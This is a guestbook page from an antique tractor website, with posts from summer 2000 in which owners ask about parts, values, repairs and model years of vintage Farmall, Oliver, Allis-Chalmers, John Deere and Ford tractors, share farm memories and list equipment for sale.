Ronnie Keithley wrote on Monday, August 28, 2000 (PDT):I just purchased a 1947 Farmall Cub Serial#8616, my grandfather had one just like it. My tractor has a 4' IH belly mower and everything works great! I plan a face lift for the cub this winter.
kenneth bearden wrote on Monday, August 28, 2000 (PDT):I have an allis g chalmer.A 1948 model invery good condition would like to know the value
Chuck Seymour wrote on Monday, August 28, 2000 (PDT):I have a WD45 with wide front, 12v, 3 pt hitch. I am in indiana and would like to know the value of this tractor. The engine runs like a top but the gear shifter is sloppy. I was told a common problem with these tractors was the shifter wearing out and causing trans to try and engage two gears at once. I also have another problem with differential. Email me if you can help with info.
wade wrote on Sunday, August 27, 2000 (PDT):I own a Supper 77 that is in perfect condition. I look on the web for pictures of my tractor but cannot find any good pictures. Is the Oliver "Supper 77" a rare tractor ?
joe sershen wrote on Sunday, August 27, 2000 (PDT):looking for a front loader that will fit a 450 wide front end farmall and 12 volt wiring diagram with a altenator
Shawn Halle wrote on Sunday, August 27, 2000 (PDT):FOR SALE, 1968 International Cub very nice and clean,garage kept. I am the 3rd owner of this tractor. It has a 60" woods belly mower,sickle mower,turn plow,push blade,wheel weights,tire chains,new belts for mowers,new battery,good tires,owners manaul,and attachment manuals to. Ready to work $3500.00 or best offer call 1-304-472-8519
john lowe wrote on Saturday, August 26, 2000 (PDT):I own two 8-16 kerosene tractors one ia a 1921 in all original runing condition one is a 1918 with the 12 feed oiler it is apart but 95 percent complete. I would sell or trade the 1918 for early cross engine tractors. I also have many parts for 8-16s. I have used my tractor to thresh wheat bail straw cut shingles etc. I have a pretty good knowledge of 8-16 if any needs help please contact me.
steve dean wrote on Saturday, August 26, 2000 (PDT):i have a McCormick farmall cub tractor serial#191429 can you tell me what year model & any other info. you have. thanks bookey
Gideon Yakubovitch wrote on Saturday, August 26, 2000 (PDT):After years of cearching I mannaged to find a beautiful magnificent Allis Chalmers "G" and to import it to Israel from the USA. I am a collector and will be glad to creat contact with anybody who have this unique tractor.
Jill Bukowski wrote on Friday, August 25, 2000 (PDT):I am a graphic artist in Waco, Texas. Every year in Temple there is an antique tractor show, and for the last few years I have been designing the t-shirts to be sold. This year the group wants a 1935 Row Crop, Oliver Hart-Parr on the front. The pictures they gave me to go by don't have much contrast, and not having a background in tractors it is hard for me to just guess it in. I was wondering if anyone had any clear photos of that model tractor, and if so would a photo-copy be out of the question?
Jill Bukowski wrote on Friday, August 25, 2000 (PDT):I am a graphic artist in Waco, Texas. Every year in Temple there is an antique tractor show, and for the last few years I have been designing the t-shirts to be sold. This year the group wants a 1935 Row Crop, Oliver Hart-Parr on the front. The pictures they gave me to go by don't have much contrast, and not having a background in tractors it is hard for me to just guess it in. I was wondering if anyone had any clear photos of that model tractor, and if so would a photo-copy be out of the question?
TL Fisher wrote on Friday, August 25, 2000 (PDT):We have an B and HN and would like to find a reliable source for replacement parts. They run good but the sun has taken it's tole on some of the parts. Would like to find out more on what implements fit this tractor. Any suggestions or information would be greatly appreciated as it needs to be doing something other than pulling a hay wagon. I would like to restore these slowly over a two year period. Needs a radiator cap for starters. email me with suggestions if you have the time...tbwotmts at aol.com
TL Fisher wrote on Friday, August 25, 2000 (PDT):We have an HN and B and would like to find a reliable source for replacement parts. It runs good but the sun has taken it's tole on some of the parts. Would like to find out more on what implements fit this tractor. Any suggestions or information would be greatly appreciated as it needs to be doing something other than pulling a hay wagon. I would like to restore it slowly over a two year period. Needs a radiator cap for starters. email me with suggestions if you have the time...tbwotmts at aol.com
Casey wrote on Friday, August 25, 2000 (PDT):For Ray Brittner the A has about 14 HP at the drawbar
Casey wrote on Friday, August 25, 2000 (PDT):Joshua most of the BN's have two wheels in the front but some could be baught with only one
Dan Schloesser wrote on Friday, August 25, 2000 (PDT):I have a cub with hydraulics, implements include a sickle mower, blade and plow. I primarily use the tractor for snow and for leveling the lane and pulling a small wagon. The sickle mower has sat in the barn for a long time and I want to use it but can't remember exactly how to install the darn thing! Can someone provide some pictures or details on how to install the mower to the tractor. Thanks!
karen wrote on Friday, August 25, 2000 (PDT):help, my father has located a 1952 dc with a wide front end can anybody help me with how may were made and where can i get any information.
Jim Lankford wrote on Thursday, August 24, 2000 (PDT):I have 2 1948 MD Farmalls that run like they were new. They have been in the family for 52 years! I am in the process of repainting them. I do need to do some work on one of the fuel pumps. The engine is not getting quite enough fuel. Does anyone know how to adjust the pump? If only they could build cars and trucks to last like these workhorses.
Joshua wrote on Thursday, August 24, 2000 (PDT):If bn's only have one front wheel, than how come when I looked at some bn's they all had the double tire narrow front end? All 4 that I looked at all had two wheel narrow front ends. So what's the deal about that
Joshua wrote on Thursday, August 24, 2000 (PDT):If bn's only have one front wheel, than how come when I looked at some bn's they all had the double tire narrow front end? All 4 that I looked at all had two wheel narrow front ends. So what's the deal about that
Josh wrote on Thursday, August 24, 2000 (PDT):I love Ms. They are the greatest to drive. We have one at the camp i work at and it gets put to good usedoing a variety of chores. It's one of the greatest tractors ever built.
andi wrote on Thursday, August 24, 2000 (PDT):i have a friend who has one of the last remaining samsons but it was in bad shape when he got it so we doubt if it will ever run again.
Jim Accomando wrote on Thursday, August 24, 2000 (PDT):Hi. Guys, Today I joined the rest of you guys and bought my brand new (used) OLIVER 770. S.N. 93960-736. But I have a problem. I need a 3-14 flat bottom plow, an eight foot disc. and an eight ft. drag. If any of you good buddies have one or all three I would like to buy them. My three point hitch is the link latch type.
RON SMITH wrote on Wednesday, August 23, 2000 (PDT):I HAVE A F-20 "BASKET CASE" FOR PARTS OR RESTORE.
John Cotton wrote on Wednesday, August 23, 2000 (PDT):This looks like a nice old machine. I have a TD 40 wide tread model no serial number plate unfortunatly but there is a date stamped on the crankcase behind the diesel pump (11 15 34) would this be when the engine was made. We have the engine running on Gasoline almost ready to try her on diesel. A lot of restoration to do mainly on under carage. Is there any other sites with Mc Cormick TracTractors I can't find any.
Andy wrote on Tuesday, August 22, 2000 (PDT):My grandpa had I think it was a MD. I rember the cast Farmall plate on the grille and dad tells me it was Diesel. I know it was an M beacause it was big. Hey, how much more power did the super have (hp.)? 30% can't be much.
Sam L. Smith wrote on Tuesday, August 22, 2000 (PDT):My father owned a "K" prior to buying a model "L" in 1937. he drove to Indianapolis to pick it up. My brother finally traded it off to a Case dealer for a quick hitch to go on our 1370. The dealer really wanted the old L. The dealer is now out of business but still has the tractor minus the front end. We've also owned a CC, DC, 300, 400, 1030, 1070 and 1370. I still have the 300 (1956 GD 157 Diesel) and the 1070. If anyone can help me find a water pump for the 300 I really would appreciate it. Parts are scarce because it had the GD 157 Continental engine. The patents ran out years ago. Please call me at 270-333-2458 after 6;00pm if you have this part or know where I can get it.. I'll gladly pay for the call.
dwaye wrote on Monday, August 21, 2000 (PDT):i would like to know if it was hand lift,exhaust lift,or hydralic lift? would the front end off a model A work under it?
Rob C. wrote on Sunday, August 20, 2000 (PDT):I recently inherited my grandad's 52 Farmall cub. The tractor runs very good, and has hydralics, cultivators, plow and disk set. Grandad always used it for a cultivating tractor and, I have no idea how to attach the plow and disks to the tractor. I want to get a Woods belly mower so I can use this tractor to cut grass, but my cub does not have a pto, it just a round plate on the back of the transmission. What would be involved in addind a PTO? I know where there is a junked Farmall B with a Pto, will that fit? Can anyone tell me how the disks and plows attach to the tractor?
Jim Gemmrig wrote on Sunday, August 20, 2000 (PDT):Have a farmal,model A with no hydralics,would like to put three point on it,need now what hydralices came out on this model,and what attacments were avabile
Jack Kerr wrote on Sunday, August 20, 2000 (PDT):I saw a very nice one at our summer show. Just as the one is in the photo. Our show was Aug 3,4,5,6, in Portersvill Pa. I have a 41 B .
Jeff Ramage wrote on Sunday, August 20, 2000 (PDT):I have a 1963 550. The clutch pack just blew out and needs replacing. Any contacts you have would be appreciated. I am looking for an Oliver Front End loader. The front end loader that came to with the tractor is a homebuilt job. Any pictures of an Oliver loader would be greatly appreciated. Jeff
Rick Murray wrote on Saturday, August 19, 2000 (PDT):Does the 60 rc have a six cylinder.Just bought a cockshutt,not sure what it is.Any help would be great. thanks Rick
Richard Murray wrote on Saturday, August 19, 2000 (PDT):I just bought a cockshut tractor that looks like the one in the above picture.Mine has a six cylinder.It has no pant but appeared to be green.What year and model might this be.If you can help e-mail me.Thanks for your help...Rick
Wm Lewis wrote on Friday, August 18, 2000 (PDT):I need a fuel pump diaphram for a F12 tractor. Any help would be appreciated
Joaquin Mena wrote on Friday, August 18, 2000 (PDT):I had a new flywheel for a G, and I want to sale it. Please contact if you want it. refagsa at usa.net
Ralph Magill wrote on Friday, August 18, 2000 (PDT):'57 John Deere High Crop Tractor for sale; foot clutch; dual hydraulic;4 new tires and tubes; new head job; rebuilt generator. $7,000 obo Spring Creek,PA Mtn.Matters at juno.com
Jack Lithgoe wrote on Friday, August 18, 2000 (PDT):Does anyone have photos or drawings of Cub tractor with implements, or instructions for mounting and using them. Are tillers available for Cub's?
ray wrote on Friday, August 18, 2000 (PDT):I have an early version of the WD 45 that used the WD engine but has the increased horse power and most of the WD 45 additions except for power steering or so the dealership told me. I have had it for about 15 years and it is getting tired and I need to get my mag rebuilt. I enjoy using this tractor but wish I had a wide front end for this tractor. I may try to change the front end if I can locate a wide front end that is inexpensive and the procedure is fairly simple, any suggestions are welcome.
Bill Haines wrote on Thursday, August 17, 2000 (PDT):My father Gilly Haines a well known agricultural contractor in Hampshire U.K. owned and operated a threewheeled Case for quite a number of years using it for towing a Case Baler. He owned two of these balers which produced wire tied bales and required two men sitting either side of the bale chamber to thread and tie the wire. I as a teenager spent many hours driving the Case tractor towing the baler, and rember it as being a delight to drive. The hand clutch and oil immersed independant disk brakes made it a deligtfull tractor to drive with a tight turning circle. And it had a top speed on the road of around fifteen miles per hour usefull for transporting the baler between farms, and quicker than the Fordson Major's 7 MPH which he used to tow a Massey Harris Combine Harvester. Upon his retirement in the late 1950's Gilly desposed of his machinery the Case going to a farm in the Village of Rownhams.
Joel Williams wrote on Wednesday, August 16, 2000 (PDT):Finally took first place at a pull in the 8000 pound class and out pulled two JD G models. That is hard to do. Love this thing more every time I get on it. It is a real hit at the shows with people that have never seen one before.
Adam Bennett wrote on Wednesday, August 16, 2000 (PDT):I am 13 and am restoring a Oliver 70 Row Crop. I would like to have any pictures, diagrams, manuals, or information you could send me for free. My address is 1109 Ivy Ave, Richland, IA 52585. I would really appreciate anything you send me thats free.
JOHN FREDERICK wrote on Wednesday, August 16, 2000 (PDT):Just bought MH 44,know little about it. Maybe more communication after I find a manuel.
Ian Kentish wrote on Tuesday, August 15, 2000 (PDT):In responce to Vernon , July 27 , 2000 . My sentiments exactly , Vernon ......my experience was on a n 820 what a wonderful tractor , my friend Jim Barry had three tractors the 820 an AW6 and a Chamberlain Super 90 on a wheat farm at Manangatang in the Victorian Mallee , Australia .....the AW6 should'nt have been there ! the Super 90 (471 GM ) just had the edge on the 820 (only just) but used twice as much fuel ! and the NOISE that comes out of a 471 fully loaded , all those years ago and my ears are yet to recover ! the John was absolute cream ! ......if only I had a bigger backyard !!! Cheers and thanks for reviving the memories !
Vincent Liskovec wrote on Monday, August 14, 2000 (PDT):I need parts to connect a snow blade or plow to a Super A Farmall tractor. I have a blade and some of the brackets. I need the brackets that would connect to the tractor. Please let me know. If someone also has a picture of how to connect the blade I would appreciate the picture. Thank you very much. Vince Liskovec
Tim wrote on Monday, August 14, 2000 (PDT):I have what evidently is a farmall BN. (so stated because of a comment above saying that BN designates one front tire.) I would be interested in sheetmetal and information, such as how to date the manufacture. this tractor does not have a starter, or even a place to put a starter. any help appreciated. tcurrent1 at hotmail.com
donald gene stahl sr. wrote on Sunday, August 13, 2000 (PDT):when was the last m tractor make and when did the super m come out and how long did it run before it was replace. thank you skeeter
Dick Rogers wrote on Saturday, August 12, 2000 (PDT): I'm looking for a mid-mount cultivating tractor. The AC "g" series was suggested. Does anyone have one in good running order with cultivators?
Steve wrote on Saturday, August 12, 2000 (PDT):Looking at a 1942 L with snow plow & garden plow, good condition. What is a fair price.
Dusty M. Erickson wrote on Saturday, August 12, 2000 (PDT):Any leads on a belt pulley for a Oliver 60 RC would be appreciated. e-mail or ph.# 480-948-1644
Dusty M. Erickson wrote on Saturday, August 12, 2000 (PDT):Just wanted to say thanks to those of you whom responded to my request for identifying the noise in the rear end of my recently rebuilt 60 RC. The problem was solved, it was a bent internal pto shaft rubbing against the gears. Fixed up fairly simple. Restoration now 100% complete. Time to start the next project...a Cockshutt (Oliver) 60 RC with wide front. Found it resting in Vancouver, B.C. Should make a nice companion for the previous Oliver 60 RC. Thanks again
rick wrote on Saturday, August 12, 2000 (PDT):I have a VC tractor that I purchased a couple of years ago. It looks like the picture that is attached to this website, and I am interested in selling it. The engine is strong,(it smokes), but everything else works fairly good.
RAY HOLTGRAVE wrote on Friday, August 11, 2000 (PDT):I HAVE A 1937 F-20 FARMALL IN FAIR CONDITION.IT HAS BEEN INDOORS FOR 21 YEARS.ANYONE INTERESTED?
Eric Schwartz wrote on Friday, August 11, 2000 (PDT):I bout a Farmall Regular in real ruph condishion plugs was out of the motor for years.It took 3days for me and my buddys to unseez the motor.Im still looking for someone tocut the valve seals.This tractor has ben hard and exspensive to find parts for Im still looking for rims and tires 12/36.I also do antique tractor pulling with an ALLICE-CHOMERS B and my buddy Chester Lee pulls a John Deer 630 and a Olover Super 88.I cant wait to see wat this Farmall Regular can do on a stone bote pull.
Ed fiebelkorn wrote on Thursday, August 10, 2000 (PDT):Me again I forgot to give my e mail address for the information on the model H article. How much is one worth in running condition. I know someone that has on and wants to know. You can e mail me at fielkorn at mb.sympatico.ca thanks
charlie wrote on Thursday, August 10, 2000 (PDT):Ronnie Trafficano - Your post hole digger will wear out before your 8N will.
MIKE CUMMINGS wrote on Thursday, August 10, 2000 (PDT):My father and I bought one 2 springs ago for use on our farm. It looks alot like the one in the photo above except it has 18.4x38's on speed wheels with axle duels (18.4x38 on speed wheels also). It also does not have the air intake above the hood. We might be willing to sell it if anyone is interested.
Graham matthews wrote on Thursday, August 10, 2000 (PDT):I have a JD730 diesel built in 1961 as an export to Australia ,the tractor has done approx 4000 hrs . The flywheel has come loose and damaged the internal spline ,I have been told taper locks can be fitted can any one help
Tim Stegner wrote on Wednesday, August 09, 2000 (PDT):I have a 1946 VAI. I would like to know the original color scheme. Any help would be appreciated.
Brittany Johnson wrote on Wednesday, August 09, 2000 (PDT):I am restoring an Oliver 70 RC and I am at the point of installing the handcrank and I would like to know what would work well for the pin that goes through the crank handle and locks in on the front pulley.
Harold Morris wrote on Wednesday, August 09, 2000 (PDT):I have a 1934 W-12 and McCormick Deering is casted into the radiator. Mine is the 612th one built. I bought this tractor in Titusville Pa. two years ago, it needed a lot of work but it is worth every penny I have put into it. There isn't hardly any around this area in Michigan.
Scott Wright wrote on Tuesday, August 08, 2000 (PDT):A tractor was left with the land I bought, it's salvagable but I don't know exactly what it is. I think it's a 1941 farmall f-20, how much would it be worth?
fred riley wrote on Tuesday, August 08, 2000 (PDT):i wonder if i can run an old (BELL SAW) sawmill from the rear PTO on my 1953 M. are the RPMs going to be high enough to make the blade spin straight? any ideas? thanks.
STACI wrote on Monday, August 07, 2000 (PDT):WE JUST BOUGHT MY 18 MONTH OLD SON A 1938 MODEL L JOHN DEERE AND RESTORED IT. HE LOVES IT .
Randy Merry wrote on Monday, August 07, 2000 (PDT):Westley Taylor, What is your E-mail address and where is the half track located?
Daryl wrote on Monday, August 07, 2000 (PDT):Would like to know if anyone has a 8n or 9n Ford tractor with a funk v8 engine for sale. Wanted as a project tractor. E-mail me.
Harold Saylor wrote on Sunday, August 06, 2000 (PDT):We had an Allis Chalmers on our dairy farm in Penna when I was growing up during the 40's, but I don't see it in any of the photos currently in the gallery. It was similar to the WD45 - wide fenders and square radiator, crank start, gasoline engine (4cyl), however it had narrow front wheels and I remeber being told it originally had steel lug rear wheels. Lots of (fond?) memories having to drive it at age 6-7 to make hay and doing my best to follow the wind-rows around turns etc even tho' I couldn't quite reach the clutch petal or hand breaks! I'd like to know what model it actually was and if any are still around.
Craig Hayton wrote on Sunday, August 06, 2000 (PDT):To Chag Gallien If you have not found rims for your 77, call Jim Day of Cannan Tire in Cannan Conn. phone 860-824-7789. Jim got me new rims for my Super 77 at a price that was in line or just a little more than most people wanted for used ones. I also got all new tires from him for my 77. Jim has a Super 88 for the tractor pulls. He is a great person and a pleasure to do business with. Good luck with your 77 Craig E-mail Bot44 at aol.com
Ernest L. Hagberg wrote on Saturday, August 05, 2000 (PDT):To Mr. Franceschini. My TO20 hydraulic system was slow and wouldn't hold until I put a new relief valve in the pump.
Andy Martin wrote on Saturday, August 05, 2000 (PDT):I have an IH CUB LOBOY which ran fine, was parked for about 3 years and now only runs when I mist the carb w/gas. It has plenty of gas flow, where can I get a carb rebuild kit? Who in Mass (or new England) does good work on these tractors? Serial #13218U or 13218J (serial #plate damaged, hard to read), What year is it, PS have several implements, whats it worth? Runs great when it gets fuel, hyrraulics work great.
kevin martin wrote on Friday, August 04, 2000 (PDT):help! i have my grandfathers tractor that completely restored over this past winter but i have to find a magneto for it. my father claims its a bf avery but i think its a cletrac general. i would like to get e-ail from people who could give me some insight on this. i could provide more info. i painted it the original color, similiar to chevy orange. thanks
Larry wrote on Thursday, August 03, 2000 (PDT):My dad bout a new ZA in 1952. The new JD 50 did not have enough power. We restored it a few years ago. Easy restoration, he took good care of it. He says it looks better now than it was new! Great old tractor with a fast PTO. I went back to green to farm, but still love the old MM's.
tracy wrote on Thursday, August 03, 2000 (PDT):How much horse power did the John Deere 2 cyl. hercules motor have and what years did they put the hercules motors in the John Deere L.
Tracy wrote on Thursday, August 03, 2000 (PDT):what year was the first john deere L made.
Mad Man Leo wrote on Thursday, August 03, 2000 (PDT):LONG LIVE THE SUPER MD!!!!!!!!! Best of the best for tree-pulling up to 18" in diameter!!
Dave Shaw wrote on Wednesday, August 02, 2000 (PDT): We have had a mid 50's WD45 with a farmhand loader for 2 years now, suprisingly clean, power steering, wide front, new tires front & back. Did all of the gasoline WD45's come with the "power crater" engine? We had some carb trouble about a year ago, I found that the bowl was actually cracked & the jets & other fuel passages were plugged badly. I was suprised to find that the quality of the steel in the cast iron bowl was good enough to weld, the rest was just a matter of a good cleaning & we were back in business with more power then I would have ever imagined. When I get ready to start restoring "allis" I would like some nice photo's for inspiration. If you have some good one's please send me some photo's & tell me about converting my 2 point to a 3 point. Thanks.
Lars G. Garrenstad wrote on Wednesday, August 02, 2000 (PDT):Interested of purchasing Farmall A, B, C and CUB. Virgina, Carolinas and Tennessee.
Justin Wright wrote on Monday, July 31, 2000 (PDT):My Dad and I have two Farmall Ms. One with a frontend loader and the other which is in the rebuilding process. I think that the Farmall M is one of the best tractors ever built.
Brian wrote on Monday, July 31, 2000 (PDT):I just purchased a 1945 L and which was outfitted with cultivators. I would like to know what other implements were made for the L. e-mail me Thanks.
don wrote on Monday, July 31, 2000 (PDT):My grandpa used to have a model 70 sitting in our shed, hasnt been used for probly 20-30 years, and then in 94 or 95 he sold it for a couple hundred dollars. i would really like to locate it once again, and it was sold in northeast wisconsin. when he sold it it was completely rusted over, and had both spider and rubber wheels for the back and was a row crop model i think. if anyone out there has any clues, i would really apreciate it. I know it will be very hard to locate, but thanks to anyone who could help
Bernie Merli wrote on Monday, July 31, 2000 (PDT):I have (2) Super A's and (2) A's and am looking for a block or a good running engine for a Super A. Any information would be appreciated
Matt wrote on Sunday, July 30, 2000 (PDT):I know of a Diesel MM Z that has run recently, but doesn't at the moment. The tires are old, and it needs paint- what would be a good price?
Jim Watkinz wrote on Sunday, July 30, 2000 (PDT):This is one hell of a pulling tractor.
Wayne wrote on Saturday, July 29, 2000 (PDT):I'm looking for a replica of the 720 Pony with a narrow front end for my father(We had one years ago). I'd appreciate any help. Thanks.
Larry Blaney wrote on Saturday, July 29, 2000 (PDT):What are the two holes on the right hand side of the hood on a farmall cub for? I belong to the S.E.Wisconsin Antique Power & Collectibles Society and this question was asked by a vistor to the tent we have at the currently running Racine,Wisconsin county fair. We have over 60 tractors in the tent and this was a question that a current owner of a cub asked but not a member of our club could answer him. I would appreciate any help. tn
TERRY PEACOCK wrote on Friday, July 28, 2000 (PDT):I own 3 HART PARR'S 1. 18-36 2. 12-24 3. 10-20 I have totally restored the 18-36 and it has now won several ribbons and awards,and many people now enjoy just admiring and seeing "HER"run. Every nut and bolt were removed ,and 18 months were spent on the restoration process. The 10-20 restoration is under way,but the 12-24 is still waiting in the shed. Need carby top and steering box for 12-24 but have the frame,wheels and remains of another 12-24 for trading. "HART PARR'S ARE FOREVER" Happy Restoring. a AAA
Alfred Boerger wrote on Thursday, July 27, 2000 (PDT):Ibought a new Oliver 70 just before WWII and had it for over 35 yrs and had excellent success with the tractor. I then bought a Super 77 Gas and had even better success using it on my 100 acre farm in mid-western Ohio. Now I'm retired but still live on the farm at age 86. My Oliver tractors were the best tractors on the market, in my view. Besides, my younger brother, Clarence, was an Oliver dealer, so I also felt somewhat obligated to buy from him. Fortunately I had excellent luck with the Olovers.
steve wagner wrote on Thursday, July 27, 2000 (PDT):I have a allis chalmers D-15, series II. I am having trouble with it popping out of third gear. Does this sound like a thrust washer, shifter fork, or a worn out 3RD gear?...
DJJ wrote on Thursday, July 27, 2000 (PDT):I'm looking for $2750 for my 6 cyl 8N Funk,I have photos.
Jim Taylor wrote on Thursday, July 27, 2000 (PDT):I know of a id-9 . It lives 2miles away from my place. It is sitting outside rotting in the weather.The owner wont sell it but he said he's going to restore it one day ,but he said that13 years ago . I think the least he could do would be to put it in the shed or put a couver over it becauseits such a valuble (BEAST)
vernon wrote on Thursday, July 27, 2000 (PDT):I spent manyhappy hours onan 830 in the wheat fields of central Montana. It was always a thrill to crank the small gas engine pull the compression release then engage the starter when the compression was released the first few POPs were a feeling all there own!!!!
Kerry Florence wrote on Wednesday, July 26, 2000 (PDT):I grew up on a farm where all the work done on over 200 acres was with 2 F-20's. I loved and hated them and beat them with the crank many times.Many a night we'd be plowing by moonlight with the exhaust gloeing and that old engine cackling, almost like it was talking or singing to you. I've got a few acres now and would like to get one for the farm, it's even more meaningful now that my Dad has passed away. I'd like to hear some other stories.
Dick Kline wrote on Wednesday, July 26, 2000 (PDT):It has been a long time since I ran an M but I thing the control Jim Prior is talking about is the brake lock. Hold the brakes in and pull up. The brakes should stay down. The were great tractors. All the new tractors the salesmen brought to the farm had to start a head of me in the dead furrow. Never had a tractor in their class that I didn't have to wait for.
Ronnie Trafficano wrote on Wednesday, July 26, 2000 (PDT):I need to dig post holes. Would a 8n work with a post hole digger hooked up to its PTO?
Jerry Letsinger wrote on Wednesday, July 26, 2000 (PDT):Our kids gave me an Oliver 60 Row Crop, (not yet sure of the year), as a get-well gift following heart surgery this past September, ('99), and I am looking forward to getting started on it. I am so glad I found this page, with your comments, and to know there are other folks out there who can identify with me. I'm sure I'll be searching for parts and advice.
Keith Jones wrote on Tuesday, July 25, 2000 (PDT):I have recently purchased a VAI that is missing the serial number tag. Is the serial number stamped anywhere on the tractor?
Adam Shiflett wrote on Tuesday, July 25, 2000 (PDT):Our farm has a 1950 ZA that my grandfather bought new. It was the first tractor I ever learned to drive and we have restored it and continue to use it on the farm. We also have two M-5 Moline's.
John Hague wrote on Monday, July 24, 2000 (PDT):I just bought this old Ford tractor that had been sitting for 1 to 2 years. I've been searching the internet for the last couple of days trying to identify it. It doesn't have serial numbers by the starter where everyone says they should be. A picture on this website look very similar to my tractor and it appears to be a 671. It has the sos xmsn and one rear pto. All the heavy iron is blue but by scratching the blue, it has red underneath. Can anyone suggest ways to confirm it's identity. I want to buy manuals for it.
Tim Voss wrote on Monday, July 24, 2000 (PDT):For Sale; 1937 F-20. Had new paint and emblems and ran good when I parked it nearly 20 years ago. Has road gear and electric start set-up. If interested, please contact me and make offer. I've enjoyed this site. It brought back memories.
Leonard wrote on Monday, July 24, 2000 (PDT):Have Oliver 550 gas. Need oil seals for front wheels with the adjustable front axel. Seal removed manufactured by Ohio Rubber Co. part # 2264739. Also need plate where seal rides against spindle. Need two each asap
Philip Croff wrote on Monday, July 24, 2000 (PDT):Was this made in Port Huron, Michigan? Please email me.
KW wrote on Monday, July 24, 2000 (PDT):re; Bud Madison. Hey I dont exactly know what its worth, but my father has one and its restored pretty nicely except needs new rings or valves....seems to have a lose of power from this. Just a guess but I would say this type and year with manuals should be worth $5,000 to $10,000. Anyone else with an estimate? (or guess). Happy plowing!
jeanine joelson wrote on Sunday, July 23, 2000 (PDT):My husband is wanting to find out the type and weight of the original oil in the hydraulic system of a 1948 8N tractor? Can anyone help him with that? Thanks.
scott hoersten wrote on Sunday, July 23, 2000 (PDT):I have a 1937 Farmall F-20, in search of a flywheel. Where can I locate one?
Jim Determan Eugene Ore. wrote on Saturday, July 22, 2000 (PDT):Ihave a 1940 ZTN The N stands for single wheel im front. It is in the final stages of restoration, and it will be in prime condition.Also has fenders.
Keith Schwandt wrote on Saturday, July 22, 2000 (PDT):Just got my forth ZTU Prairie Gold it the best
Dave Boucke wrote on Saturday, July 22, 2000 (PDT):I have a 1950's cub that needs a new/rebuilt IH (not zenith)carb. Anyone know where I can locate one? I am also interested in a belly mount mower or a "brush-hog" attachment. We are in the Sacramento, CA area. Thanks!!
Dean Sparks wrote on Friday, July 21, 2000 (PDT):My 9n (Jan. 1940) is used every day on our farm, but it needs rings. It blows a full quart of oil an hour, or so, and it need to work the motor. Never done a flat-head 4 before, but I have the IT Manual. How scary is this job? How long will it take me? Should I hire someone to do it? I'm a decent mechanic, but re-builds are a little out of me league. Thanks.
marion hoopingarner wrote on Thursday, July 20, 2000 (PDT):i just brought a VA1. i am hunty for the books on it. i want to find out want year it was build. my seril number is VA1 5161634. so if you can find the books on it.
D.J. HAINES wrote on Thursday, July 20, 2000 (PDT):I ENJOY RED TRACTORS VERY MUCH. I HAVE DRIVEN THEM SINCE I WAS THE AGE OF 8.MY FATHER, GRANDFATHER, & GREAT-UNCLE ALL FARMED WITH I.H. POWER SO I GUESS MY HABIT IS WHAT YOU MIGHT CALL, HEREITARY. I FARM WITH 3 I.H. TRACTORS MYSELF. THEY ARE AN EARLY 1954 SH, A 1974 OPEN STATION 966, & A 1974 RED CAB 1066. THE SH WAS BOUGHT NEW BY MY WIFE'S GREAT-UNCLE. THE 966 I AM THE SECOND OWNER OF & IT HAS 920 ACTUAL HRS.. I AM THE THIRD OWNER OF MY 1066 AND IT HAS 2900 ACTUAL HRS. . ALL THREE TRACTORS STILL WEAR THEIR ORIGINAL PAINT AND ARE IN EXCELLENT NON-ALTERED CONDITION. I FEEL VERY FORTUNATE TO OWN & OPERATE THREE EXAMPLES OF THE FINEST FARMALL EQUIPMENT STILL IN EXISTANCE.
Erik wrote on Wednesday, July 19, 2000 (PDT):I have a 1945 sc and i need the following parts;a set of piston rings, a full set of valves, a starter, a generator. also i need to have the magneto overhauled, i am located in NE Oklahoma. Any help would be appreciated.
Brian wrote on Tuesday, July 18, 2000 (PDT):I've just copleted a mechanical restoration on a '41 model "B" which gave me quite a challenge since it was dragged from the bushes after a lengthy rest. I hope to get it painted before to long. It helps to have knowledgable freinds whoe can help you along the way.
Ben Ramsey wrote on Tuesday, July 18, 2000 (PDT):I have an 8N Ford. It was given to me by my grandfather. It is a very handy tractor but it smokes a sufficient amount. I use it for a lot of stuff. I love the little thing.
bob McMulkin wrote on Tuesday, July 18, 2000 (PDT):STARTER PROBLEMS..6 Cyl...Contact me...I just purchased a new starter for the 6 cyl industral engine at a local parts house....It works fine...The Ford Industrail engines are used in some of the local companys making red brick so parts are availible here in North Carolina...
Bob wrote on Monday, July 17, 2000 (PDT):I have 3 restored Cubs & 2 restored Super'A's here in Auckland New Zealand with many parts and attachments. Have to sell. Should be able to compete with your local prices as NZdollar presently 46cUS Any interest welcome.
Edward F. Nester wrote on Monday, July 17, 2000 (PDT):I just bought an 8N just to have something to work with. Love the tractor but I'm having a few problems. Would appreciate any help. I have no brakes on the right side and the PTO shaft leaks fluid.
Terence Check wrote on Monday, July 17, 2000 (PDT):Recently purchased a 1947.(Similar to picture on this page)Need any info or specs on tractor. Antique Tractor Magazine, issue July/August 1999, did a feature story on the history of the tractor company and the family who made them.
Don Zweep wrote on Monday, July 17, 2000 (PDT):We think we have a 1937 WC,can,t find any serial no,s motor or else where. We will need a wheel for rubber tire size 13+24
Bob in Iowa wrote on Monday, July 17, 2000 (PDT):I am looking for a complete seat assy. for a 1950 model Z.Any help will be appreciated.
magoo wrote on Monday, July 17, 2000 (PDT):my 8n 3point works only with the position control lever in the vertical position,dead when in the down position.what do i look for to fix this problem? thanx for your help.
Dean A. Jaeger wrote on Monday, July 17, 2000 (PDT):I have a great running "ZB" for sale. I also have a 2-14 MM plow for sale, professionally restored.
Jim wrote on Monday, July 17, 2000 (PDT):i have a 1947 Farmall M and I would like to know if anybody can tell me how to adjust the belt rension on the water pump. Maybe there is no way this can be done, but I can use any suggestions and/or help.
Gil wrote on Sunday, July 16, 2000 (PDT):I've got a cub with a serial number I can't find any infomation on. Can anyone help? The number is 221404J. That's all I can find on the tractor. Thank's
will vanderhoof wrote on Sunday, July 16, 2000 (PDT):i have a 1948 sc ihave had for 25 years.5years sitting. hope to fix up,have ordered manuals from jensales inc.never worked it just pulled trailer loaded with kids.always in garage.solid new tires.love my case in marion michigan.
Gwen Jacobs wrote on Sunday, July 16, 2000 (PDT):My father is thinking of selling the family farm. We have been talking about a 1940 Case Crank/Starter Tractor that still works. How do I find the value of this tractor and whom would we contact for an appraisal? He also has a cultivator with it.
Wesley Taylor wrote on Sunday, July 16, 2000 (PDT):I have a set of half tracks for an 8N Ford in good condition. They have been used very little. They are For Sale. Email with any questions.
Ronnie Deckelman wrote on Sunday, July 16, 2000 (PDT):I recently purchased a 1951 Ford 8N tractor. It seems to have a part missing but I'm not sure. On the right side hood at the air breather all it has is a cover with a hole. I need to know if something is supposed to go into the breather.
